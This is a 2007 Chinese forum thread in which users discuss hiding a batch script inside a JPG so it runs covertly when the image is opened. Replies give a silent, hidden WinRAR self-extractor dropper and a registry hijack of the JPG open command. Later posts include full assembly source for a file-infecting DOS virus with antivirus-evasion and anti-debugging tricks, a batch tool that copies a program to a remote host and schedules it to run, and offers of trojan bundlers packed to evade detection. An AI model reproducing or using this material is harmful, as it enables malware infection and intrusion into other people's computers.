Board logo

标题: 如何把批处理嵌入到图片中并随图片一起运行 [打印本页]

作者: mfdcxnf     时间: 2007-2-23 08:18    标题: 如何把批处理嵌入到图片中并随图片一起运行

我将一个图片和一个批处理文件用COPY合并一起,请问如何能实现打开这个合并后图片时,批处理文件自动运行。

[ Last edited by namejm on 2007-2-26 at 07:08 PM ]
作者: anqing     时间: 2007-2-23 08:27
我是想知道,你用什么格式,把图片和bat合并在一起的?
copy的用法,请打出来好吗?
作者: mfdcxnf     时间: 2007-2-23 08:30    标题:

COPY 3.jpg/b+1.bat/a 5.jpg
就这样得到了一个合并文件,我想让打开这个文件时,就能看到图片3和批处理文件1同时运行。
作者: anqing     时间: 2007-2-23 09:10
帮你顶上去!
作者: zh159     时间: 2007-2-23 09:27
不同类型的文件一般情况下不能合并在一起

PS:LZ想在jpg内植入某类bat???
作者: mfdcxnf     时间: 2007-2-23 09:46
你一看就明白我的心思。可是我就是想这要有没有办法,如果不是这要的话下载一个捆绑文件也可以,但是
作者: bbq123bbq     时间: 2007-2-23 17:21
虽然不会先顶等高手回复你
作者: slore     时间: 2007-2-23 23:25
因为打开方式不同吧……
作者: mfdcxnf     时间: 2007-2-24 01:54
那有没有其它办法呀,我看见别制作的自解压文件就是一打开就会自动运行想要的程序
作者: ctrl0shift     时间: 2007-2-24 02:34
顶~~~我也想知道呢
作者: slore     时间: 2007-2-24 02:41


  Quote:
Originally posted by mfdcxnf at 2007-2-23 12:54:
那有没有其它办法呀,我看见别制作的自解压文件就是一打开就会自动运行想要的程序

自解压人家自动运行想要的程序……
你把你的bat单独拉出来也可以运行啊

你想藏到图了……那就……
作者: vkill     时间: 2007-2-24 02:46
记得以前有这么个帖子,好象没有办法
作者: mfdcxnf     时间: 2007-2-24 03:14
BAT文件主要是隐藏性不好,别人一看就知道,如果是图片那不就好啦,哈哈。谢谢各位,实在没办法也就算啦。
作者: slore     时间: 2007-2-24 03:35
你bat什么内容..用别的代替写下看看..
作者: qasa     时间: 2007-2-24 03:37
这种性质应该和捆绑木马差不多,可以找下相关的资料来看下。
作者: mfdcxnf     时间: 2007-2-24 09:12
16楼说的对,就是要像那种效果,但是不是木马,哈哈。谁能够实现帮个忙。
作者: oilio     时间: 2007-2-24 09:27
copy的那个方法我也用过,要么type一下来看和图片绑在一起的内容,要么双击直接看图片,但正常情况下两个一起都运行,比较困难啊,想到系统自带的iexpress,是英文的,只要你熟悉英文,楼主想要做的基本都能做到,操作也不难,是图形界面的,不过不要拿来做坏事啊。
作者: mfdcxnf     时间: 2007-2-24 09:35
谢谢。我看了一下,这个还很不错。并且网有很关于iexpress讲解。
作者: anqing     时间: 2007-2-24 10:29
我也看了一下,也试了。
拿楼主的来说,如果第一个运行的图片的话,运行后,p也会跟着运行的。
p必竟不是木马,达不到隐藏运行的效果
还有,就是打包后,卡巴会报警
作者: qingfushuan     时间: 2007-2-24 22:20    标题: 简单的rar

rar作就简单了,百和G都多啊
作者: mfdcxnf     时间: 2007-2-27 08:03
21楼的我不太明白。
RAR怎么做,具体点吧。哈哈,等着用呢。我向我们保证我绝对不是用来做木马,给个答案,我会感谢你一辈子的。哈哈
作者: mfdcxnf     时间: 2007-2-27 08:12
上一贴写错了,是20楼的我看不懂,不好意思哈。
作者: youkkk     时间: 2007-2-27 08:20
看我的方法行不行.

找一个图片的ICO

做好一个批处理

例如:
Start c:\windows\system32\dllcache\图片.jpg
下面加上你自己的批处理

在和图片一起用WINRAR打包成EXE如.图片.jpg.exe
点高级------自解压选项-----解压路径-------填(c:\windows\system32\dllcache\
解压后运行填
c:\windows\system32\dllcache\批处理.bat

模式选-----安静模式------全部隐藏-------覆盖所有文件

文本和图标..加载一个就OK了..

希望楼主不要用来做坏事~~.....坏人自有天收~
作者: mfdcxnf     时间: 2007-2-27 08:24
这一招,其实我前些天学会了,但是不你你说的那样,就是直接用RAR生成EXE。前面的不一样,后面的方法和你的一样。
作者: haiou327     时间: 2007-2-27 09:18
想捆绑木马不成
作者: mfdcxnf     时间: 2007-2-27 09:27
不是的,只是觉得这样实现的话有意思,如果可以的话,只要不是做害人的木马,不盗取别人的东西。用于正当用途也可以的呀。哈哈,楼上的放心,我很好的一个人,绝对不会做害人的事。
作者: gne3     时间: 2007-2-27 11:17
如果可以最好不用rar的打包的方法,用图片和批处理一起的好的。
作者: mfdcxnf     时间: 2007-2-28 04:26
我也是这么想,所以最近一直在想方法实现,可是不知道从那里开始.
作者: electronixtar     时间: 2007-2-28 07:01
论坛搜索 exe2bat
作者: everest79     时间: 2007-2-28 07:11
这个漏洞已经补丁了
作者: fjcase     时间: 2007-2-28 11:41
等待高手 出来 做个详细的解答
作者: mfdcxnf     时间: 2007-3-1 02:47
看来这一个问题真的是难题 了,哈哈。有可能根本就不能实现,我想可能是我的假设,呵呵。不过我还是真的希望能有高手解决,比如说利用三插件也可以,但是打开的文件必须是图片,如果是EXE就没有意思了。
作者: KKIILDL     时间: 2007-3-1 04:57
不要想那么复杂。
用捆绑工具就OK(木马),我也做了几个,瞒好用的,你想要么?
作者: mfdcxnf     时间: 2007-3-1 05:00
楼上所的可是真的,但是要不被杀的,哈哈,虽然我不是用来捆木马,但是也想要其效果。如果你愿意给我,我当然想要。邮箱 mfdcxnf@163.com   先谢谢哈
作者: xixixi     时间: 2007-3-1 06:13
KKIILDL有点不健康,上次弄了个乱码给我,我的机子差点坏掉!!可恶 mfdcxnf
不怕中毒么?
还是试一试它:
2.bat
%%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a
@echo off
net user
net start
COPY 3.jpg/b+1.bat/a 5.jpg
Windows Registry Editor Version 5.00
[HKEY_CLASSES_ROOT\jpegfile\shell\open\command]
"(默认)"="盘符:\1.bat"
1.bat是你要合并的bat,记住重启.
作者: wenxuan     时间: 2007-3-1 06:55
呵呵~楼上的方法倒是可以啊,病毒的常用方法:P
作者: KKIILDL     时间: 2007-3-1 07:26
xixixi那可是你自己做的vbs,我只是提供方法~~~不可理喻!
切~ 你的也错了呀!只要打开jpg类型的文件就会运行1.bat~~^_^
这个女鬼病毒是用VB语言写的,需要一个VB的动态链接库,有些用户系统上可能没有这个文件,病毒因此就无法被激活。该女鬼病毒在感染用户系统后,会不定时的在电脑上出现恐怖的女鬼,并伴有阴森恐怖的鬼哭狼嚎的声音。女鬼每次出现大约停留30秒钟,低垂着脑袋,披头散发,两眼还射出红光,加上阴森的恐怖之声,使人在夜间开电脑时,不禁毛骨悚然,吓到腿软。
该病毒的技术特征如下:
病毒名称:GirlGhost2
病毒大小:344064Bytes
病毒体文件名:(未设置键值).EXE
病毒感染分析:
a. 病毒伪装成目录的图标,执行后删除本身,在windows系统目录下生成.exe 和 (未设置键值).exe两个文件,同时在ie的临时目录下生成mm2.jpg.exe文件。
b. 修改注册表项
HKEY_CLASSES_ROOT\jpegfile\shell\open\command的默认值为C:\WINDOWS\Temporary Internet Files\mm2.jpg.exe %1
当双击jpg文件时病毒就会执行。
是不是这个。
作者: xixixi     时间: 2007-3-1 07:42
那可没有破坏性。
作者: mfdcxnf     时间: 2007-3-1 07:52
xixixi先谢过了,怎么骂我可恶,哈哈,是不是让你动了不少脑筋,我电脑上目前是没办法试呀,因为我装了还原精灵的,所以还请没装的朋友代我试一下,成功后给我说一声哈。哈哈
作者: xixixi     时间: 2007-3-1 08:02
我可没骂你呀!不要误会哦!
我是骂KKIILDL~~
作者: GGM     时间: 2007-3-1 08:19
你们这是想干什么?做坏事?
作者: mfdcxnf     时间: 2007-3-1 08:57
xixixi
你的话有点让我误解,不过我不会生气的,不过你不是说你做捆绑的吗,给我呀
作者: KKIILDL     时间: 2007-3-1 10:28
mfdcxnf我发给你的,是否收到?
作者: KKIILDL     时间: 2007-3-1 11:32    标题: 病毒库(喜欢病毒的,快来看看把)

大家来研究研究!
一、将资料存盘。(只有这些而已喔!) ───────┐
二、使用DEBUG < FileName.xxx(文件名称) │
三、即可产生一个执行档案。 │

N DS_ABOMB.COM ←┤
E0100 E8 00 00 5E 83 EE 03 BF 00 01 57 B8 99 4B CD 21 │
. │
. │
. │
RCX │
02DD │
W │
Q ←┘

◎系统档案表格(SFT) ◎
by Dark Slayer of TPVO

==========================================================================

嗨!我是DS,由于我住在学校宿舍,但是一个礼拜会回来一次,所以我每个礼拜
都会写一些技术数据给各位成员,希望大家好好努力,欢迎写信和我讨论,但是我一
个礼拜只能回来回一次信,抱歉啰...
这次我要讲的是SFT (System File Table,系统档案表格) 的应用。

当我们用DOS 的File Handle 来读写档案时,有没有人想过它的原理,假设一开
始档案指标指向档案开头,我们读取或写入这个档案后会改变它的指标,是否有人想
过它将这个指针值记录在哪里? 如果我们写入一个档案,DOS 如何能得知在关档时怎
样更改此文件的目录? 关于这一切档案处理的数据都记录在SFT 之中,oh... yeah...
SFT!!!是写毒者的强力工具,深入了解SFT 并且应用在您的病毒之中,将会使您的毒
变的更强,事实上... 早在DOS 3.3 的时代就已经有人利用SFT 来写毒了,他就是保
加利亚的毒王Dark Avenger,国外使用SFT 的技术很久了,但是我们国内的病毒作者
却很少有人懂的去利用SFT(我例外啦... 呵呵呵...)OK!废话不多说... 我们赶快来
看看这样一个好东西...

DOS 4.0-6.2 的 SFT 格式 (取自 INTRLIST,由我翻译)
偏移 大小 描述
00h WORD 参考至此档案的 handle 个数
02h WORD 开文件模式 (参考 AH=3Dh,int 21h)
如果此檔是利用FCB 来开档则 bit 15=1
04h BYTE 档案属性 (参考 AH=43h,int 21h)
05h WORD 装置信息 (参考 AX=4400h,int 21h)
bit 15=1 表是此档为远方 (在网络上)
bit 14=1 在关档时不要设定档案的日期及时间
bit 7 1: 设备 device,0: 档案
bit 6 =1 档案尚未被写入
bits 5~0 当 bit 7=1 时磁盘驱动器编号 (0=A:,1=B: ...)
bit 7=0 时为装置信息
07h DWORD 如果是字符装置,则此为指向装置驱动程序表头之指针
否则,此为指向DOS 磁盘参数区块 (DPB) 之指标
(参考 AH=32h,int 21h)
0Bh WORD 档案的启始丛集 (cluster)
0Dh WORD 档案时间 (参考 AH=57h,int 21h)
0Fh WORD 档案日期 (参考 AH=57h,int 21h)
11h DWORD 档案大小
15h DWORD 档案读写指标 (参考 AH=42h,int 21h)
19h WORD 最后一次存取的 cluster 之相对 cluster 编号
1Bh DWORD 此档案目录进入点的扇区编号 (可用直接用 int 25h/26h 读写)
1Fh BYTE 一个扇区中,可容纳的目录个数
20h 11 BYTEs FCB 格式的文件名 (无路径,无句点 '.',剩下的空间以
空白 space (ASCII code 20h) 补足
2Bh DWORD (SHARE.EXE) 指向前一个 SFT 共享相同档案之指标
2Fh WORD (SHARE.EXE) 开启档案的网络机器编号
31h WORD 档案拥有者的 PSP 区段,AUX/CON/PRN 指向 IO.SYS
33h WORD (SHARE.EXE) 在 SHARE 程序段中共享录的偏移值
0000h=没有 SHARE
35h WORD 最后一次存取的 cluster 之绝对 cluster 编号
37h DWORD 指向 IFS 驱动程序之指标

看完了上面的数据后是否觉得很复杂? 或是感到兴奋? 它可是含括许多好用的东西
(或者该叫武器?!)

当我们用DOS 的AH=3Dh int 21h来开档,DOS 便为此档建立了SFT ,但是你可能会
感到疑惑! 如何取得此SFT 的地址呢? 看下面吧...

mov ax,3d02h
mov dx,offset file_name
int 21h ; 开档

xchg bx,ax
push bx ; 存 File Handle,因为底下改变了 BX

mov ax,1220h
int 2fh ; 取得工作档案表格 JFT (Job File Table)

mov ax,1216h
xor bh,bh ; bh=0
mov bl,es:[di] ; bl=es:[di]=JFT 的编号
int 2fh ; 取得 SFT 的地址

pop bx ; 拿回 File Handle


--------D-2F1220-----------------------------
INT 2F U - DOS 3+ 内部使用 - 取得工作档案表格
AX = 1220h
BX = file handle
传回: CF =1 错误
AL = 6 (无效的 file handle)
CF =0 成功
ES:DI -> 在目前程序中,档案代码的 JFT (byte)
Notes: the byte pointed at by ES:DI contains the number of the SFT for the
file handle,or FFh if the handle is not open
supported by DR-DOS 5.0+
SeeAlso: AX=1216h,AX=1229h
--------D-2F1216-----------------------------
INT 2F U - DOS 3+ internal - 取得 SFT 的地址
AX = 1216h
BX = SFT 编号 (也就是用 AX=1220h int 2Fh 取得的 JFT)
Return: CF =0 成功
ES:DI -> SFT 地址
CF =1,BX 大于 FILES=xxxx
Note: supported by DR-DOS 5+
SeeAlso: AX=1220h


帅吧?!利用DOS 未公开的功能int 2Fh 来取得SFT ,事实上int 2Fh 有许多好用
的功能,以后会介绍的。

取得SFT 之后要干嘛? 嘿嘿嘿... 取得它之后,许多酷的技巧都可以靠它展现
啰,接下来完全要看各人的想象力与创意啰... 我指出几点可以利用到SFT 的地方
,其它更深入的应用以后再讲,或是你自己可以先试试看,发挥您求知的精神吧!

DOS 4.0-6.2 的 SFT 格式 (取自 INTRLIST,由我翻译)
偏移 大小 描述
00h WORD 参考至此档案的 handle 个数
02h WORD 开文件模式 (参考 AH=3Dh,int 21h)
如果此檔是利用FCB 来开档则 bit 15=1
我用3D00h 开档,再将此处改为 2,如此可以用读写模式来存取此文件,这样可
以骗过那些烂AV,因为AV以为用3D00h 开档就不可能被写入了,所以可能会不防这
招...

04h BYTE 档案属性 (参考 AH=43h,int 21h)

用3D02h 开档之前要先用4300h 得到档案属性,再用4301h 更改档案属性为非隐藏
、可擦写吗?不用啦!!呵呵... 我们只要用3D00h 开档 (如上面所讲) 再保存此
处之值,然后将它设为0,一样有相同的功能喔!

05h WORD 装置信息 (参考 AX=4400h,int 21h)
bit 15=1 表是此档为远方 (在网络上)
bit 14=1 在关档时不要设定档案的日期及时间
bit 7 1: 设备 device,0: 档案
bit 6 =1 档案尚未被写入
bits 5~0 当 bit 7=1 时磁盘驱动器编号 (0=A:,1=B: ...)
bit 7=0 时为装置信息

在写入一个档案之前要先保存它的时间和日期吗?不必啰... 感染完之后,在关档
之前将bit 14设为1 ,则关档后一样不会改变到时间和日期。

07h DWORD 如果是字符装置,则此为指向装置驱动程序表头之指针
否则,此为指向DOS 磁盘参数区块 (DPB) 之指标
(参考 AH=32h,int 21h)

Assassin病毒怎么得,要感染的档案后面剩余的cluster 有多少呢?当然是先得知
此磁盘的一个cluster 有几个扇区(sector),再拿档案长度来算即可得知如何取得
这些资料呢?当然是从DPB 啰...

0Bh WORD 档案的启始丛集 (cluster)
0Dh WORD 档案时间 (参考 AH=57h,int 21h)
0Fh WORD 档案日期 (参考 AH=57h,int 21h)

不须用AH=57h一样可以得到档案时间与日期

11h DWORD 档案大小

不须用AX=4202h,CX=DX=0,int 21h 一样可以得到档案大小

15h DWORD 档案读写指标 (参考 AH=42h,int 21h)

直接更改这边的值和用AH=42h int 21h效果是一样的

19h WORD 最后一次存取的 cluster 之相对 cluster 编号
1Bh DWORD 此档案目录进入点的扇区编号 (可用直接用 int 25h/26h 读写)
1Fh BYTE 一个扇区中,可容纳的目录个数
20h 11 BYTEs FCB 格式的文件名 (无路径,无句点 '.',剩下的空间以
空白 space (ASCII code 20h) 补足
2Bh DWORD (SHARE.EXE) 指向前一个 SFT 共享相同档案之指标
2Fh WORD (SHARE.EXE) 开启档案的网络机器编号
31h WORD 档案拥有者的 PSP 区段,AUX/CON/PRN 指向 IO.SYS
33h WORD (SHARE.EXE) 在 SHARE 程序段中共享录的偏移值
0000h=没有 SHARE
35h WORD 最后一次存取的 cluster 之绝对 cluster 编号
37h DWORD 指向 IFS 驱动程序之指标

OK!我就拿以前病毒教学Lesson one 的那只小毒来改造,示范如何使用SFT改
造的部份我用小写的指令。

=================(Lesson one - new)==========================================

LESSON_1 SEGMENT
ASSUME CS:LESSON_1,DS:LESSON_1
ORG 100h
START:
NOP ; ┐
NOP ; ├> 保留 3 BYTES 的空间
NOP ; ┘

VIR_START: ; 此处才是真正病毒程序的开端


CALL LOCATE ; 可以想成 PUSH IP
LOCATE: ;
POP SI ;
SUB SI,OFFSET LOCATE ; 减掉多余的值,此时 SI=偏移值

; 由于此毒是接在档案后面,而被感染的档案大小不一,所以病毒接在档案后的偏移
; 也会不一定,而会造成变量无法定位,所以我们要得知偏移了多少
; 下面程序只要牵涉到和内存寻址有关的部份,都会加上 [SI] 偏移值


MOV AX,WORD PTR DS:FIRST_3_BYTE[SI] ; ┬> 恢复内存中,原
MOV DS:[100h],AX ; │ 档案开头,被病毒
MOV AL,DS:FIRST_3_BYTE[SI+2] ; │ 改过的 3 BYTES
MOV DS:[100h+2],AL ; ┘

; 因为此毒第一次执行时,之前并没有感染过档案,而要恢复此 3 BYTES 时会盖到
; 病毒本身,所以一开始我们加了 3 个 NOP 来空出此空间,VIR_START 才是真正
; 的病毒码开始处


mov ax,3D00h ; open file for read only

LEA DX,FILE_NAME[SI] ; DS:DX 指向要开的档名
INT 21h ; 呼叫中断

; 开档成功后,传回 AX=档案代码 (FILE HANDLE)

MOV BX,AX ; BX = AX = FILE HANDLE


push bx ; save BX
mov ax,1220h
int 2fh ; get JFT
mov ax,1216h
xor bh,bh
mov bl,es:[di] ; BL=JFT
int 2fh ; get SFT
pop bx ; restore BX

mov word ptr es:[di+2],2 ; file mode = 2 (read/write)

mov al,es:[di+4] ; AL=file attribute
push ax ; save AX
mov byte ptr es:[di+4],0 ; set file attribute to zero


MOV AH,3Fh ; 读档案
MOV CX,3 ; 读取 3 BYTES
LEA DX,FIRST_3_BYTE[SI] ; DS:DX 指向放数据的地址
INT 21h ; 呼叫中断

; 这个动作是读取档案开头的 3 BYTES 到 FIRST_3_BYTE,保存起来


; MOV AX,4202h ; 移动档案指标 (从档尾算起)
; XOR CX,CX ; CX = 0
; XOR DX,DX ; DX = 0 ,从档尾移动 0 BYTES
; INT 21h ; 呼叫中断

mov ax,es:[di+11h] ; AX=file length
mov es:[di+15h],ax ; set access point to file end
; 因为是 .com 档,小于 64K,
; 所以只处里低字组就可以了


; 这个动作是把档案读写指标移到档尾,而由 DX:AX (DX = HIGH,CX = LOW) 传回
; 移动后的指标对于档头的距离,所以此时 DX = 0 (COM 档小于 64K),AX = 档案
; 长度


SUB AX,3 ; 计算出 JMP 的偏移值
MOV WORD PTR DS:JMP_BYTE[SI+1],AX ; 保存偏移值

; 这个动作是计算要从档头 JMP 至文件尾 (病毒码开端) 所需的偏移


MOV AH,40h ; 写档案
MOV CX,VIR_SIZE ; CX = 病毒长度
LEA DX,VIR_START[SI] ; DS:DX 指向病毒程序开端
INT 21h ; 呼叫中断

; 这个动作是把病毒本体写入档案,由于上个动作已经把档案指标移到档尾,所以
; 这次的写入是从档尾开始,也就是说把病毒体串接在文件尾


; MOV AX,4200h ; 移动档案指标 (从档头算起)
; XOR CX,CX ; CX = 0
; XOR DX,DX ; DX = 0,从档头移动 0 BYTES
; INT 21h ; 呼叫中断

mov word ptr es:[di+15h],0

; 这个动作是把档案读写指标移到档头,以便修改档头前 3 BYTES


MOV AH,40h ; 写档案
MOV CX,3 ; 写入 3 BYTES
LEA DX,JMP_BYTE[SI] ; DS:DX 指向 JMP 的程序代码
INT 21h ; 呼叫中断

; 这个动作是把我们原先所记算的 JMP 码写到档头前 3 BYTES,如此一来程序一执
; 行就会跳至病毒程序开端


pop ax ; AX=file attribute
mov es:[di+4],al ; restore file attribute

or word ptr es:[di+5],0100000000000000b
; 关档时不要改变时间和日期


MOV AH,3Eh ; 关档案
INT 21h ; 呼叫中断

push cs
pop es ; 因为取SFT 而改变了 es

MOV AX,100h ; AX = 100h (COM 文件一开始执行的地址)
PUSH AX ; PUSH 给下个 RET 指令的值
RET ; RET 到 100h

; 因为病毒该做的是都做完了,所以返回 100h 去执行原档案


FILE_NAME DB 'C:\COMMAND.COM',0
FIRST_3_BYTE DB 0CDh,20h,? ; DB 0CDh,20h = INT 20h (程序结束)
JMP_BYTE DB 0E9h,?,? ; 0E9h,?,? = JMP XXXX

MSG DB 'This is [LESSON ONE] virus by Dark Slayer'
DB ' in Keelung, Taiwan <R.O.C> of TPVO'

VIR_SIZE EQU $-OFFSET VIR_START

LESSON_1 ENDS
END START
嗨!今番要跟大家研究一些反追踪的技巧... 虽然这跟病毒没有很直接的关系
,但能够让一些 AV 被耍的团团转也蛮好玩的...

早期的人在防别人 debug 的时候,不是当掉 int 1h 、int 3h 不然就是将键
盘锁住,这样一来就没办法再 trace 。虽然这些方法不见得有多大的高明,但她
终究也达到防 trace 的目的... 随着一些工具的诞生,这些方法都已不能再做到
踪的要求... 于是... 嘻!各种稀奇古怪的方法也接二连三的被挖掘出来了!而我
反追写这篇的目的,就是将她来个总整理... 这也是我目前的职责所在... :_)

************************
1) 使用一些特殊的指令???
************************

我们首先要找一些比较特别的指令来放入我们的病毒内,这样一来就可让一些
AV无法追下去,如此你就可以达到反追踪的目的... 我们就拿TBAV中的TBCLEAN 来
开刀吧... (喔!这是一个免费的 AV )

C:\TBAV>debug
-a100
xxxx:xxxx LOCK ; 这道指令 TBCLEAN 是没法仿真的!为什么呢?
xxxx:xxxx int 20h ; 可能该作者有特别的理由吧...
xxxx:xxxx <Enter>
-n test.com
rcx
:3
-w
-q
C:TBAV>tbclean test.com

除了这个指令外,尚有 ENTER 、LEAVE 、PUSH ??h 、PUSH ????h ...
当然啦!不只这些指令可用... 你可以去试试看一些 *not used* 的指令!!!

再来就是 87 指令... 据目前我所看到的 AV 中,没一套是能够模拟这些算数
运算器的指令... (除了 PTAV 之外... 是为了解我的第一只多形而加的... 嘻!)
当然你也可以试试 TBCLEAN 看可以不可以模拟!这个答案是否定的... 因为只要
是他不认识的指令!都可达到反追踪的目的,这样说你应该可以了解吧! :_)

除了以上提到的指令之外!我们还可以使用一些奇特的指令??嘻!这要感谢
DS给我一些建议...

1) D6h (Set AL to carry)
如果 CF=1 的话,AL 就被设为 FFh!
如果 CF=h 的话,AL 就被设为 00h!

2) F1h
这道指令在 ICE 当中!被做为断点... 跟 debug 中的 int 3h 有相同的
用途...

************
2) 硬体&中断
************

1) int 00h (除 0 错误)

...
xor ax,ax
mov ds,ax
push word ptr ds:[0002h]
push word ptr ds:[0000h]
mov ds:[0002h],cs
mov ax,OFFSET int0_jmp
mov ds:[0000h],ax
xor ax,ax
div ax ; 因为 ax:=0000h 而 ax 除以 ax 而触发
int 20h ; int 0h 中断... 使程序转到 int0_jmp !
... ; 而不是执行 int 20h ...
int0_jmp:
pop ax
pop ax
pop ax
pop word ptr ds:[0000h]
pop word ptr ds:[0002h]
...

这个方法我原先是加在 GCAE v2.0 中,没想到后来我的朋友传给我一些杂志中
,居然有相同的方法,可见外国的技术一直比我国强,因此大家要加油啰...
在以前没有一个 CPU 指令仿真可追得下去的... (除了新版的 PTAV之外...)


类似这种方法,还有int 5h(与bound有关)、int 6h(非法指令中断)、int 7h
、int 0dh ... 有兴趣自行去研究吧... (哇! 我好堕落喔...) :_)

2) int 02h (不可屏蔽中断)

...
xor ax,ax
mov ds,ax
push word ptr ds:[000ah]
push word ptr ds:[0008h]
mov ds:[000ah],cs
mov ax,OFFSET int0_jmp
mov ds:[0008h],ax
int 75h ; 为何要呼叫 int 75h 呢??嘻!跟据
int 20h ; 我的观察... 这个中断里有一道 int 02h!
... ; 因此... :_)
int2_jmp:
add sp,000ch
pop word ptr ds:[0008h]
pop word ptr ds:[000ah]
...

嘻!这个方法我打算用在我的下一版变体引擎中... 到目前为止,没一个可以模
拟啦 (我用过 TBAV 试的...) !
此外... 还可用 I/O port 来引发 int 2h 中断,有兴趣的可以去研究看看...
port: 61h 、70h ...

***************
3) CPU 指令队列
***************

咦?队列?没听过?没错... 起初我也不知道她的原理!但我现在之知道啰...
多亏高人指点!又加上我的聪明才智... (哈!好像有点臭屁...)

mov ah,09h
mov word ptr ds:[OFFSET reg_dx+01h],OFFSET msg2 ;*
reg_dx:
mov dx,OFFSET msg1
int 21h
int 20h

msg1 db 'Fuck the Mad Satan! Shit!','$'
msg2 db 'Oh! Zhuge ... You are great!!!','$'

嗯!在 debug 下追的时后,所得到的是 msg2 ... 但在 DOS 下却是 msg1
怎样?够好玩吧... 为什么会产生这种情况呢??这是因为 Intel的CPU 在执行
时会连下几个指令都一起加载... (可能是比较省时吧!!)而此时星号执行后,
在程序中虽然mov dx,OFFSET msg1被替换成mov dx,OFFSET msg2,但在 CPU当中
确没改变,照成执行的结果是 msg1 !!当然啦!如果在星号后有加个jmp 或是
call的话,这种现象就不会发生了!这样应该了解这个跟反追踪什么关系吧!还
可以用这个方法来改变程序流程哦...
作者: mfdcxnf     时间: 2007-3-1 22:12
KKIILDL
初级用户
你给我了吗,我的邮箱都留了,你不会想让我留QQ吧。
我的问题还是没有得到真正的解决,高手们继续想办法呀!!!!!!
我自己也在努力想!!!!!!
作者: KKIILDL     时间: 2007-3-1 22:58
我明明发到mfdcxnf@163.com
作者: mfdcxnf     时间: 2007-3-1 23:41
KKIILDL
初级用户

谢谢,我用了,可是被卡巴杀了。哈哈
作者: KKIILDL     时间: 2007-3-2 00:58
直接?当然不行要给你的木马(可用木马生成器做木马)加免杀外壳,我玩批处理还比较菜,在这里我就用BAT做个控制工具(这都是在前辈指点下做的,不知有没有前辈中国DOS联盟,我是你们乱叫的“福星小菜”)

@echo off
setlocal
cls
color 4
title !主人好 !
echo            ======================================================
echo                                 
echo                                 
echo                           
echo                                 !主人好 !
echo                                 
echo                           
echo            ======================================================
if not %OS%==Windows_NT echo 本程序只能在WindowsNT以上系统运行! & goto exit

rem ========================交互部分========================
echo 请输入主机IP地址...
set /p host=
if {%host%}=={} echo 请输入主机IP地址! & goto exit
echo 请输入用户名(必须为管理员组)...
set /p user=
if {%user%}=={} echo 请输入用户名! & goto exit
echo 请输入密码!...
set /p pass=
if {%pass%}=={} echo 请输入密码! & goto exit
echo 请输入需要远程运行的程序,该程序必须在本程序目录下!...
set /p pro=
if {%pro%}=={} echo 请输入需要远程运行的程序! &goto exit

rem ========================主程序=========================
echo 正在连接到%host% ...
net use \\%host% %pass% /user:"%user%"
if not %errorlevel%==0 goto :err
echo 连接已建立!
echo 正在复制文件...
copy "%pro%" \\%host%\admin$\system32\
if not %errorlevel%==0 echo 文件复制失败! & goto exit
if not exist \\%host%\admin$\system32\"%pro%" echo 文件不存在!也许已被杀毒软件查杀!请再试一次! & goto exit
echo 文件复制成功!
net time \\%host% /set /y >nul
IF not %errorlevel%==0 echo 查询时间失败! & goto exit
for /f "tokens=1,2 delims=:"  %%i in ("%time%") do set /a hh=%%i & set /a mm=%%j   
echo %host%当前时间为%hh%:%mm%   
set /a mm=%mm%+1   
if /i %mm% geq 60 set /a mm=0 & set /a hh=%hh%+1   
if /i %hh% geq 24 set /a hh=0   
set tm=%hh%:%mm%   
echo 正在设置启动时间...
at \\%host% %tm% "%pro%"
IF not %errorlevel%==0 echo 设置失败! & goto exit
at \\%host% |find "%pro%" >nul
IF not %errorlevel%==0 echo 设置失败! & goto exit
echo 启动时间设置成功!
echo 指定的程序将在一分钟后执行!
echo good luck:)
endlocal
goto exit
rem ========================主程序结束=========================

:err
echo 连接建立失败!
goto exit
:exit
net use |find "%host%" >nul
if %errorlevel%==0 net use \\%host% /del /y >nul
pause
运行时关掉卡巴,不然会被卡巴杀了。
它要用户名、密码。
它成功率比较低,毕竟是个BAT吗~
作者: jmzsyt     时间: 2007-3-2 01:44
如果能随便运行jpg附带的bat那以后看图片都不安全了
作者: mfdcxnf     时间: 2007-3-2 04:48
看图本来就不安全,尤其是那些漂亮妹妹的图片,陌生人发来的色情图片一般不要看,否则
作者: mfdcxnf     时间: 2007-3-2 05:56
这个问题还是没有解决,走过路过的朋友,多想点方法,不要去想什么捆绑的啦。是那样实现就没有意思哈
作者: naxiaozi     时间: 2007-3-2 11:42
我估计不可能实现吧?不过有句话说的好 只有想不到的  没有做不到的 陪你等待高手!·